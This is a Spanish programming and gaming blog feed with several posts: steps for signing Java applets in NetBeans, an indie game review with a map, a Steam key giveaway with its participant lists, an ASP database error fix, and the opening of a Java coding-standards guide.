tag:blogger.com,1999:blog-3600113644865211762024-03-06T05:32:20.223+01:00Jabato GamesProgramación, Diseño Web y Desarrollo de Videojuegos.WaitSignalhttp://www.blogger.com/profile/16544037695977721957noreply@blogger.comBlogger229125tag:blogger.com,1999:blog-360011364486521176.post-32627113967836928242020-10-16T09:43:00.004+02:002020-10-16T09:43:46.410+02:00Firmar Applets Java - NetbeansHola a todos, a continuación les voy a enseñar cómo firmar applets de Java. <div>
<br />IMPORTANTE: ESTO SE PUEE HACER SI YA SE TIENE INSTALADO NETBEANS. <div>
<br />Descarga: http://netbeans.org/downloads/ </div><div>
<br />1) Buscar la carpeta Java desde archivos de programa, busquen la que empieza en jdk... abran la carpeta bin. <br /></div><div><br /></div><div>
2) Copiar y pegar el archivo CMD a la carpeta bin.
<br /><br /></div><div>
3) Generar el archivo de claves: Esto se hace con la herramienta keytool. Después de esto, ya tenemos el certificado de claves.
<br />
Importante: La contraseña que solicitan, es la que quieras asignar. </div><div>
<br />4) Si ya se tiene el .jar compilado, se debe mover a la carpeta bin, se usa la herramienta .jar.
jarsigner.exe -verbose nombre_del_applet.jar Alias. <br /></div><div><br />
5) Ya firmado el .jar lo copias y lo pegas a su ubicacion original. de acuerdo a la ubicacion del proyecto o del .jar, se genera el HTML, o se incertan las siguientes líneas:
<br /><br />
6)Ya cuando este listo el html, abren la herramienta (sin usar cmd) policytool.
<br /><br />
Al abrir la herramienta, se da click en el boton: "Agregar entrada de norma"
En la nueva ventana , en la parte de "Base de códigos, se escribe la direccion local: C://........"
Se da click en agregar permiso
Se selecciona : Allpermissions.
Aceptar, aceptar, guardar como. Se selecciona la carpeta en donde esta el .jar, y se guarda como Nombre_de_archivo.java.policy. </div><div> <br /></div><div>Fuente: http://josmtosu.webs.com/appletsandhtmlapps.htm </div></div>waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-77434717973874962272019-12-30T20:22:00.000+01:002020-01-04T00:18:44.426+01:00Mapa y Análisis The friends of Ringo Ishikawa<h1>
The friends of Ringo Ishikawa</h1>
<div style="text-align: justify;">
Hace tiempo que no escribo pero he encontrado esta "perla" de juego indie, en este caso lo he jugado en Switch, aunque también está disponible en Steam, por un precio que ronda los 15€, (en tiempo de ofertas lo puedes encontrar incluso por la mitad), el cual lo podríamos definir el juego como una mezcla de beat'em up y simulador de adolescencia japones.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCr0B4PxSthAxrunj7BskDIPl_JcqRNCWQme9k5NngcKFOm5KucVyg-KA_7X1Lc4ybHhWhVQEPaMjqOr5p4zk9rABdy1l2CxcAQFq2fR7gTzBlh1Lc-ALNZcXKjkRhiSHz4H7jDD75YeY/s1600/Ringo.jpg" imageanchor="1"><img border="0" data-original-height="800" data-original-width="1600" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCr0B4PxSthAxrunj7BskDIPl_JcqRNCWQme9k5NngcKFOm5KucVyg-KA_7X1Lc4ybHhWhVQEPaMjqOr5p4zk9rABdy1l2CxcAQFq2fR7gTzBlh1Lc-ALNZcXKjkRhiSHz4H7jDD75YeY/s400/Ringo.jpg" width="400" /></a> </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: justify;">
La magia del juego es que no te indica nada, no tienes mapa, no sabes qué hacer porque puedes hacer de todo, como la vida misma, puedes buscar a tus compañeros, dar una vuelta, ir al bar, ir a clase, estudiar, entrenar, trabajar, etc... e incluso pelearte con pandillas de otros institutos, porque en definitiva, ese el principio del juego, convertirte en un Yakuza a base de "palos". Claro, pero para eso, tendrás que aprobar el instituto, conseguir dinero para comer y vivir, etc.
En el juego no hay tutorial, no hay mapa, simplemente la vida va surgiendo y cada día descubres cosas nuevas, situaciones que no habías visto sumado a los eventos que están programados en el juego para que vaya avanzando la trama principal.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEtaO1zXFFyIMsULo-DpfKVqgQknfaXJGxTkpSzWzeYV2pbfBlbYwby4xn3K-hlfCS2wcOkNR5UagSFZFFwazdMt9DljwudQnCgV3xnswpSkxJl_GWr8GgI4pJ20HcnGKS3eL97uXllsQ/s1600/The-Friends-Of-Ringo-Ishikawa.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="384" data-original-width="670" height="183" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEtaO1zXFFyIMsULo-DpfKVqgQknfaXJGxTkpSzWzeYV2pbfBlbYwby4xn3K-hlfCS2wcOkNR5UagSFZFFwazdMt9DljwudQnCgV3xnswpSkxJl_GWr8GgI4pJ20HcnGKS3eL97uXllsQ/s320/The-Friends-Of-Ringo-Ishikawa.jpg" width="320" /></a></div>
<br />
<div style="text-align: justify;">
El juego en sí es simple, desarrollado por una sola persona "Yeo", pero precioso, con una estética "Pixel art" que te hace sentir que estás en un juego de los años 80, y no solo por lo artístico, sino por la belleza del autodescubrimiento. Existe poca información por internet, análisis o guías y eso provoca esa sensación de placer que sentíamos cuando encontrábamos algo nuevo en juegos como Maniac Mansion o Monkey Island.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
A modo de conclusión, recomiendo su compra al 100%, tiene precio reducido de por sí, y en temporadas de ofertas está tirado de precio. El juego viene traducido al español, tanto los textos como la interfaz gráfica. La banda sonora es excelente pero sin duda, lo mejor del juego, es que te hace sentir verdaderamente como si vivieras la vida de Ringo Ishiwaka, un adolescente japonés.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>Como juego indie, desarrollado por una sola persona se merece un 10.</b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
A modo de pequeña ayuda, ya que hay poca información por la red, añado un pequeño mapa del juego para que por lo menos no os perdáis buscando las tiendas, colegio, etc..</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
(El mapa base es de "The koro", usuario de Steam, el cual lo he ampliado con nuevas zonas).</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw4yPedaMyF6wc_PtR_R10GkQqEc_RzDCWmxIbnf1gTgtsvZWPyj9OsxZBuD_No_P1geognuZq5C6gJz2RDf6c5XbIicmEOoOifdsjvTsqBN2Ly2nSw4rduRmnYAiW82lFIpb1_wvRrsk/s1600/descarga.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="728" data-original-width="1600" height="181" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw4yPedaMyF6wc_PtR_R10GkQqEc_RzDCWmxIbnf1gTgtsvZWPyj9OsxZBuD_No_P1geognuZq5C6gJz2RDf6c5XbIicmEOoOifdsjvTsqBN2Ly2nSw4rduRmnYAiW82lFIpb1_wvRrsk/s400/descarga.png" width="400" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Saludos.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com3tag:blogger.com,1999:blog-360011364486521176.post-15783771761998223162015-02-26T23:53:00.001+01:002015-03-31T01:36:18.857+02:00Sorteo de Varias CD-KEYS de juegos para STEAM.Buenas a todos fieles seguidores,<br />
<br />
vamos a sortear varias claves para STEAM de diversos juegos de SQUARE-ENIX durante el mes de Marzo.<br />
<div>
<br /></div>
<div>
Las reglas para participar son las siguientes:</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<b><span style="color: #bf9000;">1. DEUS EX HUMAN REVOLUTION: STEAM-KEY</span></b></div>
<div>
<br /></div>
<div>
Ser seguidor de twitter de @waitsignal y hacer algún comentario con el hashtag #concursoelwaitsignal<br />
<br />
<span style="color: #bf9000;"><b>GANADOR Paddoc#F1</b></span></div>
<div>
<br /></div>
<div>
<b><span style="color: #990000;">2. HITMAN ABSOLUTION: STEAM-KEY</span></b></div>
<div>
<br /></div>
<div>
Ser seguidor de http://jabatogames.blogspot.com y escribir un comentario en este post sobre qué plataforma de juegos más os convence. Usar el hashtag #concursoelwaitsignal<br />
<br />
<span style="color: #990000;"><b>GANADOR Alejandro Pineda Medina</b></span></div>
<div>
<br /></div>
<div>
<b><span style="color: #0b5394;">3. MURDERED SOULS SUSPECT: STEAM-KEY</span></b></div>
<div>
<br /></div>
<div>
Ser seguidor del canal de youtube asociado al blog: http://www.youtube.es/elwaitsignal y dejar algún comentario en los vídeos del canal con el hastag #concursoelwaitsignal<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7wa4W47B5FJdk_7lMOXfaXSyqfu4oYYxmkP8agLkMUCcBFmG-eF3i-dhZw3q4JZX9NfK39N3hORxShGeHygLStnmHIpldn2R_seHNpVRkjsFNnzEba2qparpVK9-WUdJ9UYRkzpdrP8Y/s1600/sorteo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7wa4W47B5FJdk_7lMOXfaXSyqfu4oYYxmkP8agLkMUCcBFmG-eF3i-dhZw3q4JZX9NfK39N3hORxShGeHygLStnmHIpldn2R_seHNpVRkjsFNnzEba2qparpVK9-WUdJ9UYRkzpdrP8Y/s1600/sorteo.png" height="210" width="320" /></a></div>
<br /></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div>
</div>
<br />
<div style="-webkit-text-stroke-width: 0px; color: black; font-family: 'Times New Roman'; font-size: medium; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<div style="margin: 0px;">
<br /></div>
<div style="margin: 0px;">
* Nota:</div>
<div style="margin: 0px;">
<br /></div>
<div style="margin: 0px;">
El administrador podrá dejar fuera del concurso a aquellos mensajes de mal gusto.</div>
<div style="margin: 0px;">
Las fechas del sorteo serán los días 16, 26 y 30 de Marzo respectivamente.</div>
<div style="margin: 0px;">
A cada usuario se le asignará un número por orden de mensaje y se realizará el sorteo en directo en retransmisión por http://www.twitch.tv/elwaitsignal con la página http://www.alazar.info/generador-de-sorteos.<br />
<br />
<span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.2000007629395px; text-align: justify;"><span style="color: #cc0000;">* Nota 2: He tenido problemas con twitch ya que han reiniciado las contraseñas y tal y he tenido que volver a configurarlo todo. El sorteo se hará mañana 26 a las 18:00.</span></span></div>
<div style="margin: 0px;">
<br /></div>
<div style="margin: 0px;">
Se añadirán más juegos y sorteos próximamente.</div>
<div style="margin: 0px;">
<br /></div>
<div style="margin: 0px;">
Suerte a todos.<br />
<br />
SORTEO FINALIZADO. ENHORABUENA A LOS GANADORES. EN LOS COMENTARIOS ESTÁN LOS RESULTADOS.<br />
<br />
ORDEN DE PARTICIPANTES. <span style="color: #990000;">(Se irá actualizando progresivamente)</span>:<br />
<br />
<span style="color: #bf9000;"><b><u>1. Deus Ex Human</u></b></span><br />
<br />
<span style="color: #bf9000;"><b>Valors</b></span><br />
<span style="color: #bf9000;"><b>ivalice27</b></span><br />
<span style="color: #bf9000;"><b>Rurru</b></span><br />
<span style="color: #bf9000;"><b>Tachi</b></span><br />
<span style="color: #bf9000;"><b>totxtreme</b></span><br />
<span style="color: #bf9000;"><b>Teskiya</b></span><br />
<span style="color: #bf9000;"><b>Fatima Carlet </b></span><br />
<span style="color: #bf9000;"><b>Alejandro Pineda</b></span><br />
<span style="color: #bf9000;"><b>pulmonarro</b></span><br />
<span style="color: #bf9000;"><b>Paddock #F1</b></span><br />
<span style="color: #bf9000;"><b>Mohd Ghanayem</b></span><br />
<strong class="fullname js-action-profile-name show-popup-with-id" data-aria-label-part=""><span style="color: #bf9000;"><u>Voltioz Craft</u></span></strong><br />
<span class="fullname js-action-profile-name show-popup-with-id" data-aria-label-part=""><b><span style="color: #bf9000;">David 'Dage' Goodman</span></b></span><br />
<span class="fullname js-action-profile-name show-popup-with-id" data-aria-label-part="" style="color: #bf9000;">César L</span><br />
<span class="fullname js-action-profile-name show-popup-with-id" data-aria-label-part="" style="color: #bf9000;">Rosa Millán</span><br />
<br />
<br />
<br />
<span style="color: #990000;"><b><u>2. Hitman Absolution</u></b></span><br />
<span style="color: #990000;"><br /></span>
<span style="color: #990000;"><br /></span>
<span style="color: #990000;"><b>Fran Chalé</b></span><br />
<span style="color: #990000;"><b>Tachi</b></span><br />
<span style="color: #990000;"><b>Sara del ojo</b></span><br />
<span style="color: #990000;"><b>Alejandro Pineda Medina</b></span><br />
<span style="color: #990000;"><b>Ion</b></span><br />
<span class="fullname js-action-profile-name show-popup-with-id" data-aria-label-part="" style="text-decoration: underline;"><span style="color: #990000;"><b>Mohd Ghanayem</b></span></span><br />
<span class="fullname js-action-profile-name show-popup-with-id" data-aria-label-part="" style="text-decoration: underline;"><span style="color: #990000;"><b>lucas gamallo</b></span></span><br />
<span class="fullname js-action-profile-name show-popup-with-id" data-aria-label-part="" style="text-decoration: underline;"><span style="color: #990000;"><b>Dage DGG</b></span></span><br />
<span class="fullname js-action-profile-name show-popup-with-id" data-aria-label-part="" style="text-decoration: underline;"><b><span style="color: #990000;">Alejandro Miret</span></b></span><br />
<span class="fullname js-action-profile-name show-popup-with-id" data-aria-label-part="" style="text-decoration: underline;"><b><span style="color: #990000;">Samer Troller</span></b></span><br />
<span class="fullname js-action-profile-name show-popup-with-id" data-aria-label-part="" style="color: #990000; text-decoration: underline;">Dsda Sdad</span><br />
<span class="fullname js-action-profile-name show-popup-with-id" data-aria-label-part="" style="text-decoration: underline;"><b><span style="color: #990000;">shinefix154</span></b></span><br />
<span class="fullname js-action-profile-name show-popup-with-id" data-aria-label-part="" style="text-decoration: underline;"><b><span style="color: #990000;">Juan Carlos Magdalena</span></b></span><br />
<br />
<span style="color: #0b5394;"><b><u>3. Murdered.</u></b></span><br />
<span style="color: #0b5394;"><br /></span>
<span class="Ub gna" style="-webkit-transition: color 0.218s initial initial; background-color: white; color: #0b5394; cursor: pointer; font-family: arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 17.0300006866455px; text-decoration: none; transition: color 0.218s initial initial;"><br /></span><br />
<span class="Ub gna" style="-webkit-transition: color 0.218s initial initial; background-color: white; color: #0b5394; cursor: pointer; font-family: arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 17.0300006866455px; text-decoration: none; transition: color 0.218s initial initial;"><b>Tachi211</b></span><br />
<span class="Ub gna" style="-webkit-transition: color 0.218s initial initial; background-color: white; color: #0b5394; cursor: pointer; font-family: arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 17.0300006866455px; text-decoration: none; transition: color 0.218s initial initial;"><b>Sara del ojo</b></span><br />
<span class="Ub gna" style="-webkit-transition: color 0.218s initial initial; background-color: white; color: #0b5394; cursor: pointer; font-family: arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 17.0300006866455px; text-decoration: none; transition: color 0.218s initial initial;"><b>TheMrxale</b></span><br />
<span class="Ub gna" style="-webkit-transition: color 0.218s initial initial; background-color: white; color: #0b5394; cursor: pointer; font-family: arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 17.0300006866455px; text-decoration: none; transition: color 0.218s initial initial;"><b>Carol Berruh</b></span><br />
<span class="Ub gna" style="-webkit-transition: color 0.218s initial initial; background-color: white; color: #0b5394; cursor: pointer; font-family: arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 17.0300006866455px; text-decoration: none; transition: color 0.218s initial initial;"><span class="Ub gna" style="-webkit-transition: color 0.218s; color: #0b5394; font-weight: bold; transition: color 0.218s;"><b>Renée</b></span></span><br />
<span class="Ub gna" style="-webkit-transition: color 0.218s initial initial; background-color: white; color: #0b5394; cursor: pointer; font-family: arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 17.0300006866455px; text-decoration: none; transition: color 0.218s initial initial;"><span class="Ub gna" style="-webkit-transition: color 0.218s; color: #0b5394; font-weight: bold; transition: color 0.218s;"><span class="Ub gna" style="-webkit-transition: color 0.218s; text-decoration: none; transition: color 0.218s;"><b>Pulmonarro</b></span></span></span><br />
<span class="Ub gna" style="-webkit-transition: color 0.218s initial initial; background-color: white; color: #0b5394; cursor: pointer; font-family: arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 17.0300006866455px; text-decoration: none; transition: color 0.218s initial initial;"><span class="Ub gna" style="-webkit-transition: color 0.218s; color: #0b5394; font-weight: bold; transition: color 0.218s;"><span class="Ub gna" style="-webkit-transition: color 0.218s; text-decoration: none; transition: color 0.218s;"><span class="Ub gna" style="-webkit-transition: color 0.218s; font-weight: bold; transition: color 0.218s;">Jose Javier Carrasco Gallego</span></span></span></span><br />
<span class="Ub gna" style="-webkit-transition: color 0.218s initial initial; background-color: white; color: #0b5394; cursor: pointer; font-family: arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 17.0300006866455px; text-decoration: none; transition: color 0.218s initial initial;"><span class="Ub gna" style="-webkit-transition: color 0.218s; color: #0b5394; font-weight: bold; transition: color 0.218s;"><span class="Ub gna" style="-webkit-transition: color 0.218s; text-decoration: none; transition: color 0.218s;"><span class="Ub gna" style="-webkit-transition: color 0.218s; font-weight: bold; transition: color 0.218s;">1000101V</span></span></span></span><br />
<span class="Ub gna" style="-webkit-transition: color 0.218s initial initial; background-color: white; color: #0b5394; cursor: pointer; font-family: arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 17.0300006866455px; text-decoration: none; transition: color 0.218s initial initial;"><span class="Ub gna" style="-webkit-transition: color 0.218s; color: #0b5394; font-weight: bold; transition: color 0.218s;"><span class="Ub gna" style="-webkit-transition: color 0.218s; text-decoration: none; transition: color 0.218s;"><span class="Ub gna" style="-webkit-transition: color 0.218s; font-weight: bold; transition: color 0.218s;">Ion</span></span></span></span><br />
<span class="Ub gna" style="-webkit-transition: color 0.218s initial initial; background-color: white; color: #0b5394; cursor: pointer; font-family: arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 17.0300006866455px; text-decoration: none; transition: color 0.218s initial initial;"><span class="Ub gna" style="-webkit-transition: color 0.218s; color: #0b5394; font-weight: bold; transition: color 0.218s;"><span class="Ub gna" style="-webkit-transition: color 0.218s; text-decoration: none; transition: color 0.218s;"><span class="Ub gna" style="-webkit-transition: color 0.218s; font-weight: bold; transition: color 0.218s;">Mohd Ghanayem</span></span></span></span><br />
<br /></div>
</div>
waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com25tag:blogger.com,1999:blog-360011364486521176.post-44137930157430072742014-11-12T23:21:00.002+01:002014-11-12T23:21:59.455+01:00Solucionado. Provider (0x80004005) Error no especificado. Conectar con base de datos ASP.<div style="background-color: white; color: #555555; font-family: tahoma, 'Bitstream Vera Sans', 'Trebuchet MS', 'Lucida Grande', lucida, helvetica, sans-serif; font-size: 12px; line-height: 16.3799991607666px; margin-bottom: 1em; margin-top: 5px;">
Frecuentemente me ocurría que cuando trabajaba con asp y accedía a la base de datos, estando esta abierta, me arrojaba el siguiente error:</div>
<div style="background-color: white; color: #555555; font-family: tahoma, 'Bitstream Vera Sans', 'Trebuchet MS', 'Lucida Grande', lucida, helvetica, sans-serif; font-size: 12px; line-height: 16.3799991607666px; margin-bottom: 1em; margin-top: 5px;">
Tipo de error:</div>
<span style="background-color: white; color: #555555; font-family: tahoma, 'Bitstream Vera Sans', 'Trebuchet MS', 'Lucida Grande', lucida, helvetica, sans-serif; font-size: 12px; line-height: 16.3799991607666px;">Provider (0x80004005)</span><br />
<span style="background-color: white; color: #555555; font-family: tahoma, 'Bitstream Vera Sans', 'Trebuchet MS', 'Lucida Grande', lucida, helvetica, sans-serif; font-size: 12px; line-height: 16.3799991607666px;">Error no especificado</span><br />
<span style="background-color: white; color: #555555; font-family: tahoma, 'Bitstream Vera Sans', 'Trebuchet MS', 'Lucida Grande', lucida, helvetica, sans-serif; font-size: 12px; line-height: 16.3799991607666px;">/nombredeldirectorio/nombredelarchivo.asp, línea 5</span><br />
<div style="background-color: white; color: #555555; font-family: tahoma, 'Bitstream Vera Sans', 'Trebuchet MS', 'Lucida Grande', lucida, helvetica, sans-serif; font-size: 12px; line-height: 16.3799991607666px; margin-bottom: 1em; margin-top: 5px;">
Este error logré solucionarlo incluyendo la siguiente instrucción al abrir la base de datos.</div>
<div style="background-color: white; color: #555555; font-family: tahoma, 'Bitstream Vera Sans', 'Trebuchet MS', 'Lucida Grande', lucida, helvetica, sans-serif; font-size: 12px; line-height: 16.3799991607666px; margin-bottom: 1em; margin-top: 5px;">
("DRIVER={Microsoft Access Driver (*.mdb)}; Database Locking Mode=0; DBQ=" & Server.MapPath("datos/deportes.mdb"))</div>
<div style="background-color: white; color: #555555; font-family: tahoma, 'Bitstream Vera Sans', 'Trebuchet MS', 'Lucida Grande', lucida, helvetica, sans-serif; font-size: 12px; line-height: 16.3799991607666px; margin-bottom: 1em; margin-top: 5px;">
Específicamente lo que permite seguir trabajando y que no tengas que reiniciar el equipo está en la leyenda "Database Locking Mode = 0"</div>
waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-75762990709662326552014-09-30T19:55:00.000+02:002014-09-30T19:55:41.053+02:00Java - Estándares de programación. Nomenclaturas. Buena praxis.<span style="background-color: white;"><span id="1_estandares" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1. Estándares de programación</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_1_introduccion" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.1. Introducción</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">El objeto del presente documento es el establecimiento de los estándares o convenciones de programación empleados en el desarrollo de software sobre la plataforma Java. Este modelo de programación está basado en los estándares recomendados por Sun Microsystems, que han sido difundidos y aceptados ampliamente por toda la comunidad Java, y que han terminado por consolidarse como un modelo estándar de programación de facto.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Estas normas son muy útiles por muchas razones, entre las que destacan:</span></span><br />
<ul style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 1.4; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; padding: 0px 2.5em;"><span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Facilitan el mantenimiento de una aplicación. Dicho mantenimiento constituye el 80% del coste del ciclo de vida de la aplicación.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Permite que cualquier programador entienda y pueda mantener la aplicación. En muy raras ocasiones una misma aplicación es mantenida por su autor original.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Los estándares de programación mejoran la legibilidad del código, al mismo tiempo que permiten su compresión rápida.</span></li>
<span style="background-color: white;"><br /></span></ul>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_2_organizacion_ficheros" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.2. Organización de ficheros</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Las clases en Java se agrupan en paquetes. Estos paquetes se deben organizar de manera jerárquica, de forma que todo código desarrollado para el Ayuntamiento de Málaga tendrá que estar incluido dentro del paquete "eu.malaga". </span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Dentro del paquete principal las clases se organizarán en subpaquetes en función del área, organismo o sección del Ayuntamiento al que pertenezca el código desarrollado. Por ejemplo, si estamos desarrollando un servicio web de inscripción a un curso de programación Java del IMFE las clases de dicho servicio se incluirían en el paquete "eu.malaga.imfe.webservices.cursojava" o similar.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Un fichero consta de secciones que deben estar separadas por líneas en blanco y comentarios opcionales que identifiquen cada sección.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Deben evitarse los ficheros de gran tamaño que contengan más de 1000 líneas. En ocasiones, este tamaño excesivo provoca que la clase no encapsule un comportamiento claramente definido, albergando una gran cantidad de métodos que realizan tareas funcional o conceptualmente heterogéneas.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_2_1_fichero_fuente" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.2.1. Fichero fuente Java (.java)</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Cada fichero fuente Java debe contener una única clase o interfaz pública. El nombre del fichero tiene que coincidir con el nombre de la clase. Cuando existan varias clases privadas asociadas funcionalmente a una clase pública, podrán colocarse en el mismo fichero fuente que la clase pública. La clase pública debe estar situada en primer lugar dentro del fichero fuente.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">En todo fichero fuente Java distinguimos las siguientes secciones:</span></span><br />
<ul style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 1.4; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; padding: 0px 2.5em;"><span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Comentarios de inicio.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Sentencia de paquete.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Sentencias de importación.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Declaraciones de clases e interfaces.</span></li>
<span style="background-color: white;"><br /></span></ul>
